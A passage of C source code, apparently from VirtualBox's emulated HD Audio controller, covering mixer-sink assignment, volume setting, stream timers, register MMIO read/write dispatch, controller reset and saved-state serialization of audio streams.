PDMAUDIOMIXERCTL enmMixerCtl, uint8_t uSD, uint8_t uChannel) { LogFunc(("enmMixerCtl=%s, uSD=%RU8, uChannel=%RU8\n", DrvAudioHlpAudMixerCtlToStr(enmMixerCtl), uSD, uChannel)); if (uSD == 0) /* Stream number 0 is reserved. */ { Log2Func(("Invalid SDn (%RU8) number for mixer control '%s', ignoring\n", uSD, DrvAudioHlpAudMixerCtlToStr(enmMixerCtl))); return VINF_SUCCESS; } /* uChannel is optional. */ /* SDn0 starts as 1. */ Assert(uSD); uSD--; # ifndef VBOX_WITH_AUDIO_HDA_MIC_IN /* Only SDI0 (Line-In) is supported. */ if ( hdaGetDirFromSD(uSD) == PDMAUDIODIR_IN && uSD >= 1) { LogRel2(("HDA: Dedicated Mic-In support not imlpemented / built-in (stream #%RU8), using Line-In (stream #0) instead\n", uSD)); uSD = 0; } # endif int rc = VINF_SUCCESS; PHDAMIXERSINK pSink = hdaR3MixerControlToSink(pThis, enmMixerCtl); if (pSink) { AssertPtr(pSink->pMixSink); /* If this an output stream, determine the correct SD#. */ if ( (uSD < HDA_MAX_SDI) && AudioMixerSinkGetDir(pSink->pMixSink) == AUDMIXSINKDIR_OUTPUT) { uSD += HDA_MAX_SDI; } /* Detach the existing stream from the sink. */ if ( pSink->pStream && ( pSink->pStream->u8SD != uSD || pSink->pStream->u8Channel != uChannel) ) { LogFunc(("Sink '%s' was assigned to stream #%RU8 (channel %RU8) before\n", pSink->pMixSink->pszName, pSink->pStream->u8SD, pSink->pStream->u8Channel)); hdaR3StreamLock(pSink->pStream); /* Only disable the stream if the stream descriptor # has changed. */ if (pSink->pStream->u8SD != uSD) hdaR3StreamEnable(pSink->pStream, false); pSink->pStream->pMixSink = NULL; hdaR3StreamUnlock(pSink->pStream); pSink->pStream = NULL; } Assert(uSD < HDA_MAX_STREAMS); /* Attach the new stream to the sink. * Enabling the stream will be done by the gust via a separate SDnCTL call then. */ if (pSink->pStream == NULL) { LogRel2(("HDA: Setting sink '%s' to stream #%RU8 (channel %RU8), mixer control=%s\n", pSink->pMixSink->pszName, uSD, uChannel, DrvAudioHlpAudMixerCtlToStr(enmMixerCtl))); PHDASTREAM pStream = hdaGetStreamFromSD(pThis, uSD); if (pStream) { hdaR3StreamLock(pStream); pSink->pStream = pStream; pStream->u8Channel = uChannel; pStream->pMixSink = pSink; hdaR3StreamUnlock(pStream); rc = VINF_SUCCESS; } else rc = VERR_NOT_IMPLEMENTED; } } else rc = VERR_NOT_FOUND; if (RT_FAILURE(rc)) LogRel(("HDA: Converter control for stream #%RU8 (channel %RU8) / mixer control '%s' failed with %Rrc, skipping\n", uSD, uChannel, DrvAudioHlpAudMixerCtlToStr(enmMixerCtl), rc)); LogFlowFuncLeaveRC(rc); return rc; } /** * @interface_method_impl{HDACODEC,pfnCbMixerSetVolume} * * Sets the volume of a specified mixer control. * * @return IPRT status code. * @param pThis HDA State. * @param enmMixerCtl Mixer control to set volume for. * @param pVol Pointer to volume data to set. * * @remarks Can be called as a callback by the HDA codec. */ static DECLCALLBACK(int) hdaR3MixerSetVolume(PHDASTATE pThis, PDMAUDIOMIXERCTL enmMixerCtl, PPDMAUDIOVOLUME pVol) { int rc; PHDAMIXERSINK pSink = hdaR3MixerControlToSink(pThis, enmMixerCtl); if ( pSink && pSink->pMixSink) { LogRel2(("HDA: Setting volume for mixer sink '%s' to %RU8/%RU8 (%s)\n", pSink->pMixSink->pszName, pVol->uLeft, pVol->uRight, pVol->fMuted ? "Muted" : "Unmuted")); /* Set the volume. * We assume that the codec already converted it to the correct range. */ rc = AudioMixerSinkSetVolume(pSink->pMixSink, pVol); } else rc = VERR_NOT_FOUND; LogFlowFuncLeaveRC(rc); return rc; } /** * Main routine for the stream's timer. * * @param pDevIns Device instance. * @param pTimer Timer this callback was called for. * @param pvUser Pointer to associated HDASTREAM. */ static DECLCALLBACK(void) hdaR3Timer(PPDMDEVINS pDevIns, PTMTIMER pTimer, void *pvUser) { RT_NOREF(pDevIns, pTimer); PHDASTREAM pStream = (PHDASTREAM)pvUser; AssertPtr(pStream); PHDASTATE pThis = pStream->pHDAState; DEVHDA_LOCK_BOTH_RETURN_VOID(pStream->pHDAState, pStream->u8SD); hdaR3StreamUpdate(pStream, true /* fInTimer */); /* Flag indicating whether to kick the timer again for a * new data processing round. */ const bool fSinkActive = AudioMixerSinkIsActive(pStream->pMixSink->pMixSink); if (fSinkActive) { const bool fTimerScheduled = hdaR3StreamTransferIsScheduled(pStream); Log3Func(("fSinksActive=%RTbool, fTimerScheduled=%RTbool\n", fSinkActive, fTimerScheduled)); if (!fTimerScheduled) hdaR3TimerSet(pThis, pStream, TMTimerGet(pThis->pTimer[pStream->u8SD]) + TMTimerGetFreq(pThis->pTimer[pStream->u8SD]) / pStream->pHDAState->u16TimerHz, true /* fForce */); } else Log3Func(("fSinksActive=%RTbool\n", fSinkActive)); DEVHDA_UNLOCK_BOTH(pThis, pStream->u8SD); } # ifdef HDA_USE_DMA_ACCESS_HANDLER /** * HC access handler for the FIFO. * * @returns VINF_SUCCESS if the handler have carried out the operation. * @returns VINF_PGM_HANDLER_DO_DEFAULT if the caller should carry out the access operation. * @param pVM VM Handle. * @param pVCpu The cross context CPU structure for the calling EMT. * @param GCPhys The physical address the guest is writing to. * @param pvPhys The HC mapping of that address. * @param pvBuf What the guest is reading/writing. * @param cbBuf How much it's reading/writing. * @param enmAccessType The access type. * @param enmOrigin Who is making the access. * @param pvUser User argument. */ static DECLCALLBACK(VBOXSTRICTRC) hdaR3DMAAccessHandler(PVM pVM, PVMCPU pVCpu, RTGCPHYS GCPhys, void *pvPhys, void *pvBuf, size_t cbBuf, PGMACCESSTYPE enmAccessType, PGMACCESSORIGIN enmOrigin, void *pvUser) { RT_NOREF(pVM, pVCpu, pvPhys, pvBuf, enmOrigin); PHDADMAACCESSHANDLER pHandler = (PHDADMAACCESSHANDLER)pvUser; AssertPtr(pHandler); PHDASTREAM pStream = pHandler->pStream; AssertPtr(pStream); Assert(GCPhys >= pHandler->GCPhysFirst); Assert(GCPhys <= pHandler->GCPhysLast); Assert(enmAccessType == PGMACCESSTYPE_WRITE); /* Not within BDLE range? Bail out. */ if ( (GCPhys < pHandler->BDLEAddr) || (GCPhys + cbBuf > pHandler->BDLEAddr + pHandler->BDLESize)) { return VINF_PGM_HANDLER_DO_DEFAULT; } switch(enmAccessType) { case PGMACCESSTYPE_WRITE: { # ifdef DEBUG PHDASTREAMDBGINFO pStreamDbg = &pStream->Dbg; const uint64_t tsNowNs = RTTimeNanoTS(); const uint32_t tsElapsedMs = (tsNowNs - pStreamDbg->tsWriteSlotBegin) / 1000 / 1000; uint64_t cWritesHz = ASMAtomicReadU64(&pStreamDbg->cWritesHz); uint64_t cbWrittenHz = ASMAtomicReadU64(&pStreamDbg->cbWrittenHz); if (tsElapsedMs >= (1000 / HDA_TIMER_HZ_DEFAULT)) { LogFunc(("[SD%RU8] %RU32ms elapsed, cbWritten=%RU64, cWritten=%RU64 -- %RU32 bytes on average per time slot (%zums)\n", pStream->u8SD, tsElapsedMs, cbWrittenHz, cWritesHz, ASMDivU64ByU32RetU32(cbWrittenHz, cWritesHz ? cWritesHz : 1), 1000 / HDA_TIMER_HZ_DEFAULT)); pStreamDbg->tsWriteSlotBegin = tsNowNs; cWritesHz = 0; cbWrittenHz = 0; } cWritesHz += 1; cbWrittenHz += cbBuf; ASMAtomicIncU64(&pStreamDbg->cWritesTotal); ASMAtomicAddU64(&pStreamDbg->cbWrittenTotal, cbBuf); ASMAtomicWriteU64(&pStreamDbg->cWritesHz, cWritesHz); ASMAtomicWriteU64(&pStreamDbg->cbWrittenHz, cbWrittenHz); LogFunc(("[SD%RU8] Writing %3zu @ 0x%x (off %zu)\n", pStream->u8SD, cbBuf, GCPhys, GCPhys - pHandler->BDLEAddr)); LogFunc(("[SD%RU8] cWrites=%RU64, cbWritten=%RU64 -> %RU32 bytes on average\n", pStream->u8SD, pStreamDbg->cWritesTotal, pStreamDbg->cbWrittenTotal, ASMDivU64ByU32RetU32(pStreamDbg->cbWrittenTotal, pStreamDbg->cWritesTotal))); # endif if (pThis->fDebugEnabled) { RTFILE fh; RTFileOpen(&fh, VBOX_AUDIO_DEBUG_DUMP_PCM_DATA_PATH "hdaDMAAccessWrite.pcm", RTFILE_O_OPEN_CREATE | RTFILE_O_APPEND | RTFILE_O_WRITE | RTFILE_O_DENY_NONE); RTFileWrite(fh, pvBuf, cbBuf, NULL); RTFileClose(fh); } # ifdef HDA_USE_DMA_ACCESS_HANDLER_WRITING PRTCIRCBUF pCircBuf = pStream->State.pCircBuf; AssertPtr(pCircBuf); uint8_t *pbBuf = (uint8_t *)pvBuf; while (cbBuf) { /* Make sure we only copy as much as the stream's FIFO can hold (SDFIFOS, 18.2.39). */ void *pvChunk; size_t cbChunk; RTCircBufAcquireWriteBlock(pCircBuf, cbBuf, &pvChunk, &cbChunk); if (cbChunk) { memcpy(pvChunk, pbBuf, cbChunk); pbBuf += cbChunk; Assert(cbBuf >= cbChunk); cbBuf -= cbChunk; } else { //AssertMsg(RTCircBufFree(pCircBuf), ("No more space but still %zu bytes to write\n", cbBuf)); break; } LogFunc(("[SD%RU8] cbChunk=%zu\n", pStream->u8SD, cbChunk)); RTCircBufReleaseWriteBlock(pCircBuf, cbChunk); } # endif /* HDA_USE_DMA_ACCESS_HANDLER_WRITING */ break; } default: AssertMsgFailed(("Access type not implemented\n")); break; } return VINF_PGM_HANDLER_DO_DEFAULT; } # endif /* HDA_USE_DMA_ACCESS_HANDLER */ /** * Soft reset of the device triggered via GCTL. * * @param pThis HDA state. * */ static void hdaR3GCTLReset(PHDASTATE pThis) { LogFlowFuncEnter(); pThis->cStreamsActive = 0; HDA_REG(pThis, GCAP) = HDA_MAKE_GCAP(HDA_MAX_SDO, HDA_MAX_SDI, 0, 0, 1); /* see 6.2.1 */ HDA_REG(pThis, VMIN) = 0x00; /* see 6.2.2 */ HDA_REG(pThis, VMAJ) = 0x01; /* see 6.2.3 */ HDA_REG(pThis, OUTPAY) = 0x003C; /* see 6.2.4 */ HDA_REG(pThis, INPAY) = 0x001D; /* see 6.2.5 */ HDA_REG(pThis, CORBSIZE) = 0x42; /* Up to 256 CORB entries see 6.2.1 */ HDA_REG(pThis, RIRBSIZE) = 0x42; /* Up to 256 RIRB entries see 6.2.1 */ HDA_REG(pThis, CORBRP) = 0x0; HDA_REG(pThis, CORBWP) = 0x0; HDA_REG(pThis, RIRBWP) = 0x0; /* Some guests (like Haiku) don't set RINTCNT explicitly but expect an interrupt after each * RIRB response -- so initialize RINTCNT to 1 by default. */ HDA_REG(pThis, RINTCNT) = 0x1; /* * Stop any audio currently playing and/or recording. */ pThis->SinkFront.pStream = NULL; if (pThis->SinkFront.pMixSink) AudioMixerSinkReset(pThis->SinkFront.pMixSink); # ifdef VBOX_WITH_AUDIO_HDA_MIC_IN pThis->SinkMicIn.pStream = NULL; if (pThis->SinkMicIn.pMixSink) AudioMixerSinkReset(pThis->SinkMicIn.pMixSink); # endif pThis->SinkLineIn.pStream = NULL; if (pThis->SinkLineIn.pMixSink) AudioMixerSinkReset(pThis->SinkLineIn.pMixSink); # ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND pThis->SinkCenterLFE = NULL; if (pThis->SinkCenterLFE.pMixSink) AudioMixerSinkReset(pThis->SinkCenterLFE.pMixSink); pThis->SinkRear.pStream = NULL; if (pThis->SinkRear.pMixSink) AudioMixerSinkReset(pThis->SinkRear.pMixSink); # endif /* * Reset the codec. */ if ( pThis->pCodec && pThis->pCodec->pfnReset) { pThis->pCodec->pfnReset(pThis->pCodec); } /* * Set some sensible defaults for which HDA sinks * are connected to which stream number. * * We use SD0 for input and SD4 for output by default. * These stream numbers can be changed by the guest dynamically lateron. */ # ifdef VBOX_WITH_AUDIO_HDA_MIC_IN hdaR3MixerControl(pThis, PDMAUDIOMIXERCTL_MIC_IN , 1 /* SD0 */, 0 /* Channel */); # endif hdaR3MixerControl(pThis, PDMAUDIOMIXERCTL_LINE_IN , 1 /* SD0 */, 0 /* Channel */); hdaR3MixerControl(pThis, PDMAUDIOMIXERCTL_FRONT , 5 /* SD4 */, 0 /* Channel */); # ifdef VBOX_WITH_AUDIO_HDA_51_SURROUND hdaR3MixerControl(pThis, PDMAUDIOMIXERCTL_CENTER_LFE, 5 /* SD4 */, 0 /* Channel */); hdaR3MixerControl(pThis, PDMAUDIOMIXERCTL_REAR , 5 /* SD4 */, 0 /* Channel */); # endif /* Reset CORB. */ pThis->cbCorbBuf = HDA_CORB_SIZE * HDA_CORB_ELEMENT_SIZE; RT_BZERO(pThis->pu32CorbBuf, pThis->cbCorbBuf); /* Reset RIRB. */ pThis->cbRirbBuf = HDA_RIRB_SIZE * HDA_RIRB_ELEMENT_SIZE; RT_BZERO(pThis->pu64RirbBuf, pThis->cbRirbBuf); /* Clear our internal response interrupt counter. */ pThis->u16RespIntCnt = 0; for (uint8_t uSD = 0; uSD < HDA_MAX_STREAMS; ++uSD) { int rc2 = hdaR3StreamEnable(&pThis->aStreams[uSD], false /* fEnable */); if (RT_SUCCESS(rc2)) { /* Remove the RUN bit from SDnCTL in case the stream was in a running state before. */ HDA_STREAM_REG(pThis, CTL, uSD) &= ~HDA_SDCTL_RUN; hdaR3StreamReset(pThis, &pThis->aStreams[uSD], uSD); } } /* Clear stream tags <-> objects mapping table. */ RT_ZERO(pThis->aTags); /* Emulation of codec "wake up" (HDA spec 5.5.1 and 6.5). */ HDA_REG(pThis, STATESTS) = 0x1; LogFlowFuncLeave(); LogRel(("HDA: Reset\n")); } #endif /* IN_RING3 */ /* MMIO callbacks */ /** * @callback_method_impl{FNIOMMMIOREAD, Looks up and calls the appropriate handler.} * * @note During implementation, we discovered so-called "forgotten" or "hole" * registers whose description is not listed in the RPM, datasheet, or * spec. */ PDMBOTHCBDECL(int) hdaMMIORead(PPDMDEVINS pDevIns, void *pvUser, RTGCPHYS GCPhysAddr, void *pv, unsigned cb) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); int rc; RT_NOREF_PV(pvUser); Assert(pThis->uAlignmentCheckMagic == HDASTATE_ALIGNMENT_CHECK_MAGIC); /* * Look up and log. */ uint32_t offReg = GCPhysAddr - pThis->MMIOBaseAddr; int idxRegDsc = hdaRegLookup(offReg); /* Register descriptor index. */ #ifdef LOG_ENABLED unsigned const cbLog = cb; uint32_t offRegLog = offReg; #endif Log3Func(("offReg=%#x cb=%#x\n", offReg, cb)); Assert(cb == 4); Assert((offReg & 3) == 0); DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_READ); if (!(HDA_REG(pThis, GCTL) & HDA_GCTL_CRST) && idxRegDsc != HDA_REG_GCTL) LogFunc(("Access to registers except GCTL is blocked while reset\n")); if (idxRegDsc == -1) LogRel(("HDA: Invalid read access @0x%x (bytes=%u)\n", offReg, cb)); if (idxRegDsc != -1) { /* Leave lock before calling read function. */ DEVHDA_UNLOCK(pThis); /* ASSUMES gapless DWORD at end of map. */ if (g_aHdaRegMap[idxRegDsc].size == 4) { /* * Straight forward DWORD access. */ rc = g_aHdaRegMap[idxRegDsc].pfnRead(pThis, idxRegDsc, (uint32_t *)pv); Log3Func(("\tRead %s => %x (%Rrc)\n", g_aHdaRegMap[idxRegDsc].abbrev, *(uint32_t *)pv, rc)); } else { /* * Multi register read (unless there are trailing gaps). * ASSUMES that only DWORD reads have sideeffects. */ #ifdef IN_RING3 uint32_t u32Value = 0; unsigned cbLeft = 4; do { uint32_t const cbReg = g_aHdaRegMap[idxRegDsc].size; uint32_t u32Tmp = 0; rc = g_aHdaRegMap[idxRegDsc].pfnRead(pThis, idxRegDsc, &u32Tmp); Log3Func(("\tRead %s[%db] => %x (%Rrc)*\n", g_aHdaRegMap[idxRegDsc].abbrev, cbReg, u32Tmp, rc)); if (rc != VINF_SUCCESS) break; u32Value |= (u32Tmp & g_afMasks[cbReg]) << ((4 - cbLeft) * 8); cbLeft -= cbReg; offReg += cbReg; idxRegDsc++; } while (cbLeft > 0 && g_aHdaRegMap[idxRegDsc].offset == offReg); if (rc == VINF_SUCCESS) *(uint32_t *)pv = u32Value; else Assert(!IOM_SUCCESS(rc)); #else /* !IN_RING3 */ /* Take the easy way out. */ rc = VINF_IOM_R3_MMIO_READ; #endif /* !IN_RING3 */ } } else { DEVHDA_UNLOCK(pThis); rc = VINF_IOM_MMIO_UNUSED_FF; Log3Func(("\tHole at %x is accessed for read\n", offReg)); } /* * Log the outcome. */ #ifdef LOG_ENABLED if (cbLog == 4) Log3Func(("\tReturning @%#05x -> %#010x %Rrc\n", offRegLog, *(uint32_t *)pv, rc)); else if (cbLog == 2) Log3Func(("\tReturning @%#05x -> %#06x %Rrc\n", offRegLog, *(uint16_t *)pv, rc)); else if (cbLog == 1) Log3Func(("\tReturning @%#05x -> %#04x %Rrc\n", offRegLog, *(uint8_t *)pv, rc)); #endif return rc; } DECLINLINE(int) hdaWriteReg(PHDASTATE pThis, int idxRegDsc, uint32_t u32Value, char const *pszLog) { DEVHDA_LOCK_RETURN(pThis, VINF_IOM_R3_MMIO_WRITE); if (!(HDA_REG(pThis, GCTL) & HDA_GCTL_CRST) && idxRegDsc != HDA_REG_GCTL) { Log(("hdaWriteReg: Warning: Access to %s is blocked while controller is in reset mode\n", g_aHdaRegMap[idxRegDsc].abbrev)); LogRel2(("HDA: Warning: Access to register %s is blocked while controller is in reset mode\n", g_aHdaRegMap[idxRegDsc].abbrev)); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } /* * Handle RD (register description) flags. */ /* For SDI / SDO: Check if writes to those registers are allowed while SDCTL's RUN bit is set. */ if (idxRegDsc >= HDA_NUM_GENERAL_REGS) { const uint32_t uSDCTL = HDA_STREAM_REG(pThis, CTL, HDA_SD_NUM_FROM_REG(pThis, CTL, idxRegDsc)); /* * Some OSes (like Win 10 AU) violate the spec by writing stuff to registers which are not supposed to be be touched * while SDCTL's RUN bit is set. So just ignore those values. */ /* Is the RUN bit currently set? */ if ( RT_BOOL(uSDCTL & HDA_SDCTL_RUN) /* Are writes to the register denied if RUN bit is set? */ && !(g_aHdaRegMap[idxRegDsc].fFlags & HDA_RD_FLAG_SD_WRITE_RUN)) { Log(("hdaWriteReg: Warning: Access to %s is blocked! %R[sdctl]\n", g_aHdaRegMap[idxRegDsc].abbrev, uSDCTL)); LogRel2(("HDA: Warning: Access to register %s is blocked while the stream's RUN bit is set\n", g_aHdaRegMap[idxRegDsc].abbrev)); DEVHDA_UNLOCK(pThis); return VINF_SUCCESS; } } /* Leave the lock before calling write function. */ /** @todo r=bird: Why do we need to do that?? There is no * explanation why this is necessary here... * * More or less all write functions retake the lock, so why not let * those who need to drop the lock or take additional locks release * it? See, releasing a lock you already got always runs the risk * of someone else grabbing it and forcing you to wait, better to * do the two-three things a write handle needs to do than enter * and exit the lock all the time. */ DEVHDA_UNLOCK(pThis); #ifdef LOG_ENABLED uint32_t const idxRegMem = g_aHdaRegMap[idxRegDsc].mem_idx; uint32_t const u32OldValue = pThis->au32Regs[idxRegMem]; #endif int rc = g_aHdaRegMap[idxRegDsc].pfnWrite(pThis, idxRegDsc, u32Value); Log3Func(("Written value %#x to %s[%d byte]; %x => %x%s, rc=%d\n", u32Value, g_aHdaRegMap[idxRegDsc].abbrev, g_aHdaRegMap[idxRegDsc].size, u32OldValue, pThis->au32Regs[idxRegMem], pszLog, rc)); RT_NOREF(pszLog); return rc; } /** * @callback_method_impl{FNIOMMMIOWRITE, Looks up and calls the appropriate handler.} */ PDMBOTHCBDECL(int) hdaMMIOWrite(PPDMDEVINS pDevIns, void *pvUser, RTGCPHYS GCPhysAddr, void const *pv, unsigned cb) { PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); int rc; RT_NOREF_PV(pvUser); Assert(pThis->uAlignmentCheckMagic == HDASTATE_ALIGNMENT_CHECK_MAGIC); /* * The behavior of accesses that aren't aligned on natural boundraries is * undefined. Just reject them outright. */ /** @todo IOM could check this, it could also split the 8 byte accesses for us. */ Assert(cb == 1 || cb == 2 || cb == 4 || cb == 8); if (GCPhysAddr & (cb - 1)) return PDMDevHlpDBGFStop(pDevIns, RT_SRC_POS, "misaligned write access: GCPhysAddr=%RGp cb=%u\n", GCPhysAddr, cb); /* * Look up and log the access. */ uint32_t offReg = GCPhysAddr - pThis->MMIOBaseAddr; int idxRegDsc = hdaRegLookup(offReg); #if defined(IN_RING3) || defined(LOG_ENABLED) uint32_t idxRegMem = idxRegDsc != -1 ? g_aHdaRegMap[idxRegDsc].mem_idx : UINT32_MAX; #endif uint64_t u64Value; if (cb == 4) u64Value = *(uint32_t const *)pv; else if (cb == 2) u64Value = *(uint16_t const *)pv; else if (cb == 1) u64Value = *(uint8_t const *)pv; else if (cb == 8) u64Value = *(uint64_t const *)pv; else { u64Value = 0; /* shut up gcc. */ AssertReleaseMsgFailed(("%u\n", cb)); } #ifdef LOG_ENABLED uint32_t const u32LogOldValue = idxRegDsc >= 0 ? pThis->au32Regs[idxRegMem] : UINT32_MAX; if (idxRegDsc == -1) Log3Func(("@%#05x u32=%#010x cb=%d\n", offReg, *(uint32_t const *)pv, cb)); else if (cb == 4) Log3Func(("@%#05x u32=%#010x %s\n", offReg, *(uint32_t *)pv, g_aHdaRegMap[idxRegDsc].abbrev)); else if (cb == 2) Log3Func(("@%#05x u16=%#06x (%#010x) %s\n", offReg, *(uint16_t *)pv, *(uint32_t *)pv, g_aHdaRegMap[idxRegDsc].abbrev)); else if (cb == 1) Log3Func(("@%#05x u8=%#04x (%#010x) %s\n", offReg, *(uint8_t *)pv, *(uint32_t *)pv, g_aHdaRegMap[idxRegDsc].abbrev)); if (idxRegDsc >= 0 && g_aHdaRegMap[idxRegDsc].size != cb) Log3Func(("\tsize=%RU32 != cb=%u!!\n", g_aHdaRegMap[idxRegDsc].size, cb)); #endif /* * Try for a direct hit first. */ if (idxRegDsc != -1 && g_aHdaRegMap[idxRegDsc].size == cb) { rc = hdaWriteReg(pThis, idxRegDsc, u64Value, ""); Log3Func(("\t%#x -> %#x\n", u32LogOldValue, idxRegMem != UINT32_MAX ? pThis->au32Regs[idxRegMem] : UINT32_MAX)); } /* * Partial or multiple register access, loop thru the requested memory. */ else { #ifdef IN_RING3 /* * If it's an access beyond the start of the register, shift the input * value and fill in missing bits. Natural alignment rules means we * will only see 1 or 2 byte accesses of this kind, so no risk of * shifting out input values. */ if (idxRegDsc == -1 && (idxRegDsc = hdaR3RegLookupWithin(offReg)) != -1) { uint32_t const cbBefore = offReg - g_aHdaRegMap[idxRegDsc].offset; Assert(cbBefore > 0 && cbBefore < 4); offReg -= cbBefore; idxRegMem = g_aHdaRegMap[idxRegDsc].mem_idx; u64Value <<= cbBefore * 8; u64Value |= pThis->au32Regs[idxRegMem] & g_afMasks[cbBefore]; Log3Func(("\tWithin register, supplied %u leading bits: %#llx -> %#llx ...\n", cbBefore * 8, ~g_afMasks[cbBefore] & u64Value, u64Value)); } /* Loop thru the write area, it may cover multiple registers. */ rc = VINF_SUCCESS; for (;;) { uint32_t cbReg; if (idxRegDsc != -1) { idxRegMem = g_aHdaRegMap[idxRegDsc].mem_idx; cbReg = g_aHdaRegMap[idxRegDsc].size; if (cb < cbReg) { u64Value |= pThis->au32Regs[idxRegMem] & g_afMasks[cbReg] & ~g_afMasks[cb]; Log3Func(("\tSupplying missing bits (%#x): %#llx -> %#llx ...\n", g_afMasks[cbReg] & ~g_afMasks[cb], u64Value & g_afMasks[cb], u64Value)); } # ifdef LOG_ENABLED uint32_t uLogOldVal = pThis->au32Regs[idxRegMem]; # endif rc = hdaWriteReg(pThis, idxRegDsc, u64Value, "*"); Log3Func(("\t%#x -> %#x\n", uLogOldVal, pThis->au32Regs[idxRegMem])); } else { LogRel(("HDA: Invalid write access @0x%x\n", offReg)); cbReg = 1; } if (rc != VINF_SUCCESS) break; if (cbReg >= cb) break; /* Advance. */ offReg += cbReg; cb -= cbReg; u64Value >>= cbReg * 8; if (idxRegDsc == -1) idxRegDsc = hdaRegLookup(offReg); else { idxRegDsc++; if ( (unsigned)idxRegDsc >= RT_ELEMENTS(g_aHdaRegMap) || g_aHdaRegMap[idxRegDsc].offset != offReg) { idxRegDsc = -1; } } } #else /* !IN_RING3 */ /* Take the simple way out. */ rc = VINF_IOM_R3_MMIO_WRITE; #endif /* !IN_RING3 */ } return rc; } /* PCI callback. */ #ifdef IN_RING3 /** * @callback_method_impl{FNPCIIOREGIONMAP} */ static DECLCALLBACK(int) hdaR3PciIoRegionMap(PPDMDEVINS pDevIns, PPDMPCIDEV pPciDev, uint32_t iRegion, RTGCPHYS GCPhysAddress, RTGCPHYS cb, PCIADDRESSSPACE enmType) { RT_NOREF(iRegion, enmType); PHDASTATE pThis = RT_FROM_MEMBER(pPciDev, HDASTATE, PciDev); /* * 18.2 of the ICH6 datasheet defines the valid access widths as byte, word, and double word. * * Let IOM talk DWORDs when reading, saves a lot of complications. On * writing though, we have to do it all ourselves because of sideeffects. */ Assert(enmType == PCI_ADDRESS_SPACE_MEM); int rc = PDMDevHlpMMIORegister(pDevIns, GCPhysAddress, cb, NULL /*pvUser*/, IOMMMIO_FLAGS_READ_DWORD | IOMMMIO_FLAGS_WRITE_PASSTHRU, hdaMMIOWrite, hdaMMIORead, "HDA"); if (RT_FAILURE(rc)) return rc; if (pThis->fRZEnabled) { rc = PDMDevHlpMMIORegisterR0(pDevIns, GCPhysAddress, cb, NIL_RTR0PTR /*pvUser*/, "hdaMMIOWrite", "hdaMMIORead"); if (RT_FAILURE(rc)) return rc; rc = PDMDevHlpMMIORegisterRC(pDevIns, GCPhysAddress, cb, NIL_RTRCPTR /*pvUser*/, "hdaMMIOWrite", "hdaMMIORead"); if (RT_FAILURE(rc)) return rc; } pThis->MMIOBaseAddr = GCPhysAddress; return VINF_SUCCESS; } /* Saved state workers and callbacks. */ static int hdaR3SaveStream(PPDMDEVINS pDevIns, PSSMHANDLE pSSM, PHDASTREAM pStream) { RT_NOREF(pDevIns); #ifdef VBOX_STRICT PHDASTATE pThis = PDMINS_2_DATA(pDevIns, PHDASTATE); #endif Log2Func(("[SD%RU8]\n", pStream->u8SD)); /* Save stream ID. */ int rc = SSMR3PutU8(pSSM, pStream->u8SD); AssertRCReturn(rc, rc); Assert(pStream->u8SD < HDA_MAX_STREAMS); rc = SSMR3PutStructEx(pSSM, &pStream->State, sizeof(HDASTREAMSTATE), 0 /*fFlags*/, g_aSSMStreamStateFields7, NULL); AssertRCReturn(rc, rc); #ifdef VBOX_STRICT /* Sanity checks. */ uint64_t u64BaseDMA = RT_MAKE_U64(HDA_STREAM_REG(pThis, BDPL, pStream->u8SD), HDA_STREAM_REG(pThis, BDPU, pStream->u8SD)); uint16_t u16LVI = HDA_STREAM_REG(pThis, LVI, pStream->u8SD); uint32_t u32CBL = HDA_STREAM_REG(pThis, CBL, pStream->u8SD); Assert(u64BaseDMA == pStream->u64BDLBase); Assert(u16LVI == pStream->u16LVI); Assert(u32CBL == pStream->u32CBL); #endif rc = SSMR3PutStructEx(pSSM, &pStream->State.BDLE.Desc, sizeof(HDABDLEDESC), 0 /*fFlags*/, g_aSSMBDLEDescFields7, NULL); AssertRCReturn(rc, rc); rc = SSMR3PutStructEx(pSSM, &pStream->State.BDLE.State, sizeof(HDABDLESTATE), 0 /*fFlags*/, g_aSSMBDLEStateFields7, NULL); AssertRCReturn(rc, rc); rc = SSMR3PutStructEx(pSSM, &pStream->State.Period, sizeof(HDASTREAMPERIOD), 0 /* fFlags */, g_aSSMStreamPeriodFields7, NULL); AssertRCReturn(rc, rc); #ifdef VBOX_STRICT /* Sanity checks. */ PHDABDLE pBDLE = &pStream->State.BDLE; if (u64BaseDMA) { Assert(pStream->State.uCurBDLE <= u16LVI + 1); HDABDLE curBDLE; rc = hdaR3BDLEFetch(pThis, &curBDLE, u64BaseDMA, pStream->State.uCurBDLE); AssertRC(rc); Assert(curBDLE.Desc.u32BufSize == pBDLE->Desc.u32BufSize); Assert(curBDLE.Desc.u64BufAdr == pBDLE->Desc.u64BufAdr); Assert(curBDLE.Desc.fFlags == pBDLE->Desc.fFlags); } else { Assert(pBDLE->Desc.u64BufAdr == 0); Assert(pBDLE->Desc.u32BufSize == 0); } #endif uint32_t cbCircBufSize = 0; uint32_t cbCircBufUsed = 0; if (pStream->State.pCircBuf) { cbCircBufSize = (uint32_t)RTCircBufSize(pStream->State.pCircBuf); cbCircBufUsed = (uint32_t)RTCircBufUsed(pStream->State.pCircBuf); } rc = SSMR3PutU32(pSSM, cbCircBufSize); AssertRCReturn(rc, rc); rc = SSMR3PutU32(pSSM, cbCircBufUsed); AssertRCReturn(rc, rc); if (cbCircBufUsed) { /* * We now need to get the circular buffer's data without actually modifying * the internal read / used offsets -- otherwise we would end up with broken audio * data after saving the state. * * So get the current read offset and serialize the buffer data manually based on that. */ size_t cbCircBufOffRead = RTCircBufOffsetRead(pStream->State.pCircBuf); void *pvBuf; size_t cbBuf; RTCircBufAcquireReadBlock(pStream->State.pCircBuf, cbCircBufUsed, &pvBuf, &cbBuf); if (cbBuf) { size_t cbToRead = cbCircBufUsed; size_t cbEnd = 0; if (cbCircBufUsed > cbCircBufOffRead) cbEnd = cbCircBufUsed - cbCircBufOffRead; if (cbEnd) /* Save end of buffer first. */ { rc = SSMR3PutMem(pSSM, (uint8_t *)pvBuf + cbCircBufSize - cbEnd /* End of buffer */, cbEnd); AssertRCReturn(rc, rc); Assert(cbToRead >= cbEnd); cbToRead -= cbEnd; } if (cbToRead) /* Save remaining stuff at start of buffer (if any). */ { rc = SSMR3PutMem(pSSM, (uint8_t *)pvBuf - cbCircBufUsed /* Start of 